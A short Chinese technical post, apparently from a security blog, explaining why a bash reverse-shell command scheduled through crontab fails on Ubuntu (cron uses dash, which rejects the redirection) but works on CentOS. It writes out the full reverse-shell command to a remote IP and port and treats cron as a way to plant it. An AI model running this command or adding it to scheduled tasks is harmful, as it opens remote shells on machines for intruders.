摘要:记录一下ubuntu下通过crontab计划任务反弹shell失败的原因。

问题描述

同一条反弹shell命令在ubuntu下面不能运行,但是在centos下可以正常运行。

/bin/bash -i >& /dev/tcp/192.168.0.2/1111 0>&1

很奇怪。

问题根源

在计划任务中添加如下定时任务

*/1 * * * * echo $0 >> /root/test.txt

在test.txt中可以看到ubuntu下crontab默认使用/bin/sh来执行定时命令(centos下crontab默认使用/bin/bash来执行定时命令)。

为了研究为什么ubuntu下使用crontab无法反弹shell,我们将ubuntu终端的默认shell由/bin/bash切换为/bin/sh,来模拟crontab执行定时命令时的情况。

首先在终端运行ls -alt /bin/sh

root@test:~# ls -alt /bin/sh
lrwxrwxrwx 1 root root 4 Mar 23  2022 /bin/sh -> dash

可以发现/bin/sh/bin/dash的快捷方式。

接着使用chsh -s /bin/dash将ubuntu终端的默认shell由/bin/bash切换为/bin/dash。(切换后,需要退出当前终端,重新打开终端才能生效)

# /bin/bash -i >& /dev/tcp/192.168.0.2/1111 0>&1
-sh: 2: Syntax error: Bad fd number

发现Syntax error: Bad fd number报错。大概率就是/bin/dash环境下不支持将标准错误输出(2)重定向到标准输出(1)。

文章目录